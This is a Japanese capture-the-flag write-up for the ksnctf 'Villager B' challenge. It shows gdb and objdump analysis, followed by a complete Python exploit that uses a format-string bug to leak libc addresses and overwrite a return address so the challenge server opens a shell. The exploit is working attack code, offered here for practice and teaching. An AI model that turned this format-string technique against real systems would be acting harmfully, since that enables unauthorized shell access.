DUAL-IPA

Training Season

Villager B Writeup

Q. 23

PYTHON3で記述

main+3でスタックの1番目に積まれている__libc_start_main+nnnが何なのかわかっていません。
また、telnetlib.pyでASCIIコードの範囲外エラーが発生したため、一時的に errors="replace" を記述しました。

# Python 3.7.9 exploit code (ksnctf Q.23 Villager B)
# 参考文献:セキュリティコンテストチャレンジブック
# 参考サイト:ももいろテクノロジー RELROとformat string attackによるリターンアドレス書き換え 他
# https://inaz2.hatenablog.com/entry/2014/04/30/173618

'''
### ローカルのlinuxに、villagerとlibc.so.6をダウンロード
### libc.so.6を静的解析する。
### __libc_start_mainを逆アセンブルする。⇒0001a470から始まっていることが判明
kali@kali:~$ objdump -d -M intel libc.so.6 | grep __libc_start_main
0001a470 <__libc_start_main>:
   1a499:       74 09                   je     1a4a4 <__libc_start_main+0x34>
   1a4b0:       74 10                   je     1a4c2 <__libc_start_main+0x52>
   1a4d1:       0f 85 9e 00 00 00       jne    1a575 <__libc_start_main+0x105>
   1a4dc:       74 1c                   je     1a4fa <__libc_start_main+0x8a>
   1a50c:       0f 85 cd 00 00 00       jne    1a5df <__libc_start_main+0x16f>
   1a514:       0f 85 0d 01 00 00       jne    1a627 <__libc_start_main+0x1b7>
   1a530:       75 64                   jne    1a596 <__libc_start_main+0x126>
   1a591:       e9 41 ff ff ff          jmp    1a4d7 <__libc_start_main+0x67>
   1a5c4:       75 15                   jne    1a5db <__libc_start_main+0x16b>
   1a5d9:       eb f5                   jmp    1a5d0 <__libc_start_main+0x160>
   1a5dd:       eb 8d                   jmp    1a56c <__libc_start_main+0xfc>
   1a606:       74 0c                   je     1a614 <__libc_start_main+0x1a4>
   1a61c:       75 e3                   jne    1a601 <__libc_start_main+0x191>
   1a622:       e9 eb fe ff ff          jmp    1a512 <__libc_start_main+0xa2>
   1a649:       e9 cc fe ff ff          jmp    1a51a <__libc_start_main+0xaa>
0001a64e <.annobin___libc_start_main.end>:
kali@kali:~$

### system関数のアドレスを調べる。⇒0003fe70であることが判明
kali@kali:~$ nm -D libc.so.6 | grep system
0003fe70 T __libc_system@@GLIBC_PRIVATE
0011c710 T svcerr_systemerr@GLIBC_2.0
0003fe70 W system@@GLIBC_2.0
kali@kali:~$ 

### 減算により__libc_start_mainとsystem関数のオフセットを求める。⇒154112であることが判明
### linuxのpython2を使用
kali@kali:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x0003fe70 - 0x0001a470)
154112
>>> 

### libc.so.6上の/bin/shの使用箇所のアドレスを調べる。⇒1535aaであることが判明
kali@kali:~$ strings -tx libc.so.6 | grep '/bin/sh'
 1535aa /bin/sh
kali@kali:~$ 

### 減算により__libc_start_mainと/bin/shのオフセットを求める。⇒1282362であることが判明
### linuxのpython2を使用
kali@kali:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x1535aa - 0x0001a470)
1282362
>>> 

### gdbでvillagerをデバッグする。
kali@kali:~$ gdb -q villager
Reading symbols from villager...
(No debugging symbols found in villager)

### デバッグ開始
(gdb) start
Temporary breakpoint 1 at 0x8b3
Starting program: /home/kali/villager 

Temporary breakpoint 1, 0x565558b3 in main ()
(gdb)

### 開始直後にいったん4wordほどダンプする。
(gdb) x/4wx $esp
0xffffd228:     0x00000000      0xf7afee46      0x00000001      0xffffd2d4
(gdb)

### mainを逆アセンブルする
(gdb) disas main
Dump of assembler code for function main:
   0x565558b0 <+0>:     push   %ebp
   0x565558b1 <+1>:     mov    %esp,%ebp
=> 0x565558b3 <+3>:     and    $0xfffffff0,%esp
   0x565558b6 <+6>:     sub    $0x20,%esp
   0x565558b9 <+9>:     mov    %gs:0x14,%eax
   0x565558bf <+15>:    mov    %eax,0x1c(%esp)
   0x565558c3 <+19>:    xor    %eax,%eax
   0x565558c5 <+21>:    movl   $0x56555a2c,(%esp)
   0x565558cc <+28>:    call   0xf7b50420 <puts>
   0x565558d1 <+33>:    mov    0xf7cc5dbc,%eax
   0x565558d6 <+38>:    mov    %eax,(%esp)
   0x565558d9 <+41>:    call   0xf7b4e320 <fflush>
   0x565558de <+46>:    xchg   %ax,%ax
   0x565558e0 <+48>:    movl   $0x3,(%esp)
   0x565558e7 <+55>:    call   0xf7baa8a0 <sleep>
   0x565558ec <+60>:    call   0x565557f0 <_Z4convv>
   0x565558f1 <+65>:    test   %al,%al
   0x565558f3 <+67>:    je     0x565558e0 <main+48>
   0x565558f5 <+69>:    movl   $0x56555a34,(%esp)
   0x565558fc <+76>:    call   0xf7b50420 <puts>
   0x56555901 <+81>:    mov    0xf7cc5dbc,%eax
   0x56555906 <+86>:    mov    %eax,(%esp)
   0x56555909 <+89>:    call   0xf7b4e320 <fflush>
   0x5655590e <+94>:    xor    %eax,%eax
   0x56555910 <+96>:    mov    0x1c(%esp),%edx
   0x56555914 <+100>:   xor    %gs:0x14,%edx
   0x5655591b <+107>:   jne    0x5655591f <main+111>
   0x5655591d <+109>:   leave  
   0x5655591e <+110>:   ret    
   0x5655591f <+111>:   nop
   0x56555920 <+112>:   call   0xf7bf3a20 <__stack_chk_fail>
End of assembler dump.
(gdb) 

### <+60> のサブルーチン <_Z4convv> を逆アセンブルする。
(gdb) disas _Z4convv
Dump of assembler code for function _Z4convv:
   0x565557f0 <+0>:     push   %ebp
   0x565557f1 <+1>:     mov    %esp,%ebp
   0x565557f3 <+3>:     sub    $0x138,%esp
   0x565557f9 <+9>:     movl   $0x565559fc,(%esp)
   0x56555800 <+16>:    mov    %ebx,-0xc(%ebp)
   0x56555803 <+19>:    lea    -0x11c(%ebp),%ebx
   0x56555809 <+25>:    mov    %esi,-0x8(%ebp)
   0x5655580c <+28>:    mov    %ebx,%esi
   0x5655580e <+30>:    mov    %edi,-0x4(%ebp)
   0x56555811 <+33>:    mov    $0x56555a2a,%edi
   0x56555816 <+38>:    mov    %gs:0x14,%eax
   0x5655581c <+44>:    mov    %eax,-0x1c(%ebp)
   0x5655581f <+47>:    xor    %eax,%eax
   0x56555821 <+49>:    call   0xf7b50420 <puts>
   0x56555826 <+54>:    mov    0xf7cc5dbc,%eax
   0x5655582b <+59>:    mov    %eax,(%esp)
   0x5655582e <+62>:    call   0xf7b4e320 <fflush>
   0x56555833 <+67>:    mov    0xf7cc5dc0,%eax
   0x56555838 <+72>:    movl   $0x100,0x4(%esp)
   0x56555840 <+80>:    mov    %ebx,(%esp)
   0x56555843 <+83>:    mov    %eax,0x8(%esp)
   0x56555847 <+87>:    call   0xf7b4e640 <fgets>
   0x5655584c <+92>:    mov    $0x2,%ecx
   0x56555851 <+97>:    mov    $0x1,%eax
   0x56555856 <+102>:   repz cmpsb %es:(%edi),%ds:(%esi)
   0x56555858 <+104>:   seta   %cl
   0x5655585b <+107>:   setb   %dl
   0x5655585e <+110>:   cmp    %dl,%cl
   0x56555860 <+112>:   je     0x56555891 <_Z4convv+161>
   0x56555862 <+114>:   movl   $0x56555a0e,(%esp)
   0x56555869 <+121>:   call   0xf7b34020 <printf>
   0x5655586e <+126>:   mov    %ebx,(%esp)
   0x56555871 <+129>:   call   0xf7b34020 <printf>
   0x56555876 <+134>:   movl   $0x56555a13,(%esp)
   0x5655587d <+141>:   call   0xf7b50420 <puts>
   0x56555882 <+146>:   mov    0xf7cc5dbc,%eax
   0x56555887 <+151>:   mov    %eax,(%esp)
   0x5655588a <+154>:   call   0xf7b4e320 <fflush>
   0x5655588f <+159>:   xor    %eax,%eax
   0x56555891 <+161>:   mov    -0x1c(%ebp),%edx
--Type <RET> for more, q to quit, c to continue without paging--
   0x56555894 <+164>:   xor    %gs:0x14,%edx
   0x5655589b <+171>:   jne    0x565558aa <_Z4convv+186>
   0x5655589d <+173>:   mov    -0xc(%ebp),%ebx
   0x565558a0 <+176>:   mov    -0x8(%ebp),%esi
   0x565558a3 <+179>:   mov    -0x4(%ebp),%edi
   0x565558a6 <+182>:   mov    %ebp,%esp
   0x565558a8 <+184>:   pop    %ebp
   0x565558a9 <+185>:   ret    
   0x565558aa <+186>:   call   0xf7bf3a20 <__stack_chk_fail>
End of assembler dump.
(gdb) 

### puts関数をコールする直前の <+134> でスタックに積んでいる文字列を確認する。
(gdb) x/s 0x56555a13
0x56555a13:     "Here is Despair Town...\n"
(gdb)

### 一連の対話での最後で、system /bin/shを実行することを目指す。
### ここにブレイクポイントを入れる。
(gdb) b *_Z4convv+134
Breakpoint 2 at 0x56555876
(gdb)

### 再開する。同時に、入力値がスタック上何番目に積まれているかを特定する。⇒7番目と判明
(gdb) c
Continuing.
Welcome
What's your name?
aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Hi, aaaa,0x100,0xf7cc5580,(nil),0x400,(nil),(nil),0x61616161,0x2c70252c,0x252c7025,0x70252c70

Breakpoint 2, 0x56555876 in conv() ()
(gdb)

### 100wordほどスタックをダンプする。
(gdb) x/100wx $esp
0xffffd0c0:     0xffffd0dc      0x00000100      0xf7cc5580      0x00000000
0xffffd0d0:     0x00000400      0x00000000      0x00000000      0x61616161
0xffffd0e0:     0x2c70252c      0x252c7025      0x70252c70      0x2c70252c
0xffffd0f0:     0x252c7025      0x70252c70      0x2c70252c      0x000a7025
0xffffd100:     0xf7ffd000      0x00000008      0x00000008      0xf7b5adab
0xffffd110:     0x00000001      0x5655cbb0      0x00000008      0xd7cdcf00
0xffffd120:     0xf7cc5d20      0x00000180      0xffffffbc      0x00000000
0xffffd130:     0xffffd1d4      0xffffffa4      0xffffd1d4      0xf7ba447e
0xffffd140:     0x00000000      0x00000000      0xffffd15c      0xffffd16c
0xffffd150:     0xf7cc5d20      0x000007d4      0x00000008      0x00000003
0xffffd160:     0x00000000      0x00000000      0x00000000      0x00000008
0xffffd170:     0x0000000a      0x00000007      0xffffd1f8      0xd7cdcf00
0xffffd180:     0xf7cc5d20      0xf7cc5000      0x7fffffff      0xf7baa9e0
0xffffd190:     0x00000000      0x00000000      0xffffd1d4      0xffffd1d4
0xffffd1a0:     0x000004a2      0xf7baa9c6      0x00000000      0xf7baa90d
0xffffd1b0:     0xffffd1d4      0xffffd1d4      0xffffd1f8      0xf7b4e3a0
0xffffd1c0:     0xf7cc5d20      0x0000000a      0x00000007      0x00000000
0xffffd1d0:     0xf7fb3020      0x00000003      0x00000000      0xd7cdcf00
0xffffd1e0:     0x56556fbc      0xf7cc5000      0xffffd1f8      0x00000000
0xffffd1f0:     0xf7cc5000      0xf7cc5000      0xffffd228      0x565558f1
0xffffd200:     0x00000003      0xf7cc5000      0xf7cc5000      0xf7b17ce5
0xffffd210:     0xf7fe3230      0x00000000      0x5655594b      0xd7cdcf00
0xffffd220:     0xf7cc5000      0xf7cc5000      0x00000000      0xf7afee46
0xffffd230:     0x00000001      0xffffd2d4      0xffffd2dc      0xffffd264
0xffffd240:     0x00000001      0xffffd2d4      0xffffd2dc      0xf7cc5000
(gdb) 

# 0相対で79word目に、mainの <+65> 行目のアドレスが積まれていることがわかる。
# 1つ前の78word目の値は、スタックの90番目を指している。
# 1つ後ろの91番目は、start直後にスタックをダンプした際、1word目に積まれている値といっしょである。
# 再度、4wordダンプする。⇒ <__libc_start_main+262> のアドレスが積まれていることを確認
(gdb) x/4wx 0xf7afee46
0xf7afee46 <__libc_start_main+262>:     0x8310c483      0xe8500cec      0x00018afe      0xb48b5656
(gdb)

### 以上は、ローカルでの調査であるため、ctfqサーバ自体の__libc_start_mainのアドレスは判明していない。
### 実サーバの libc.so.6のアドレスを調べるために、q4ユーザーでアクセスする。
PS C:\> ssh q4@ctfq.u1tramarine.blue -p 10004
q4@ctfq.u1tramarine.blue's password:
[q4@eceec62b961b ~]$

### q4プログラムをデバッグする。
[q4@eceec62b961b ~]$ gdb -q q4
Reading symbols from q4...(no debugging symbols found)...done.
(gdb)

### デバッグ開始
(gdb) start
Temporary breakpoint 1 at 0x80485b7
Starting program: /home/q4/q4
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.i686
warning: Loadable section ".note.gnu.property" outside of ELF segments
warning: Loadable section ".note.gnu.property" outside of ELF segments

Temporary breakpoint 1, 0x080485b7 in main ()
Missing separate debuginfos, use: yum debuginfo-install libgcc-8.3.1-5.1.el8.i686 libstdc++-8.3.1-5.1.el8.i686
(gdb)

### 開始直後に4wordほどダンプする。
(gdb) x/4wx $esp
0xff8a9d88:     0x00000000      0xf7ac2569      0x00000001      0xff8a9e24
(gdb)

### スタックの1番目をダンプする。⇒ <__libc_start_main+249> であることが判明
(gdb) x/4wx 0xf7ac2569
0xf7ac2569 <__libc_start_main+249>:     0x8310c483      0xe8500cec      0x000179ab      0x4c8b5656
(gdb)

### これにより、_Z4convv+134 でのスタックの91番目は、<__libc_start_main+262> ではなく、
### <__libc_start_main+249> であると考えられる。
'''

import socket
import struct
import sys
import telnetlib
import time

def connect(ip, port):
    return socket.create_connection((ip, port))
def p(x):
    return struct.pack('<I', x)
def interact(s):
    print('---- interactivee mode ----')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

s = connect("ctfq.u1tramarine.blue", 10023)

print("%s" % s.recv(1024).decode()) #Welcome
print("%s" % s.recv(1024).decode()) #What's your name?

# esp+91word目に書かれた <__libc_start_main+249> のアドレスを取得
s.send(b"%91$x\n")
recv =  s.recv(1024)

# 前後の[Hi, ]と[Here is Despair Town...]を除去し、アドレス部分のみを取り出す
# 整数変換し、249byte減算して <__libc_start_main> のアドレスを特定する
libc_main_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 249

# <__libc_start_main> に、154112を加算して、libc.so.6のsystem関数のアドレスを特定する
system_addr = libc_main_addr + 154112
print("system関数:%x" % system_addr)

# <__libc_start_main> に、1282362を加算して、libc.so.6内の/bin/shのアドレスを特定する
binsh_addr = libc_main_addr + 1282362
print("/bin/sh   :%x" % binsh_addr)

print("%s" % s.recv(1024).decode()) #What's your name?

# esp+79word目に <_Z4convv>関数のリターンアドレス <main+65> が書かれている
# このアドレスを書き換えるために、exp+79word目自体のアドレスを特定する
# esp+78word目に、esp+79word目自体のアドレス+44byteのアドレスが書き込まれているため、
# esp+78word目に書き込まれたアドレス値から44を減算することによって求める
s.send(b"%78$x\n")
recv=  s.recv(1024)
ret_addr = int(recv[4:].split(b" ")[0].split(b"\n")[0], 16) - 44
print("esp上でリターンアドレスを格納した場所のアドレス:%x" % ret_addr)

# esp上の書き換え先を1byteずつ整数変換して伝文にセット(リトルエンディアン)
payload = p(ret_addr)
payload += p(ret_addr+1)
payload += p(ret_addr+2)
payload += p(ret_addr+3)
payload += p(ret_addr+8)
payload += p(ret_addr+9)
payload += p(ret_addr+10)
payload += p(ret_addr+11)

b=[0,0,0,0]
a=[0,0,0,0]
for x in range(4):
    b[3 - x] = int(hex(binsh_addr)[x*2+2:x*2+4], 16)
for x in range(4):
    a[3 - x] = int(hex(system_addr)[x*2+2:x*2+4], 16)
print(a)
print(b)
b[3] = ((b[3]-b[2]-1) % 0x100) + 1
b[2] = ((b[2]-b[1]-1) % 0x100) + 1
b[1] = ((b[1]-b[0]-1) % 0x100) + 1
b[0] = ((b[0]-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(payload)-1) % 0x100) + 1

# 書式文字列までのオフセットは、7
index = 7
payload += b"%%%dc%%%d$hhn" % (a[0], index)
payload += b"%%%dc%%%d$hhn" % (a[1], index+1)
payload += b"%%%dc%%%d$hhn" % (a[2], index+2)
payload += b"%%%dc%%%d$hhn" % (a[3], index+3)
payload += b"%%%dc%%%d$hhn" % (b[0], index+4)
payload += b"%%%dc%%%d$hhn" % (b[1], index+5)
payload += b"%%%dc%%%d$hhn" % (b[2], index+6)
payload += b"%%%dc%%%d$hhn" % (b[3], index+7)
payload += b"\n"

print( payload )

# シェルを立ち上げる
s.send(payload)
time.sleep(0.1)
interact(s)

※他にもコードの参考にしたサイトがありますが、flagが記載されているため掲載しませんでした。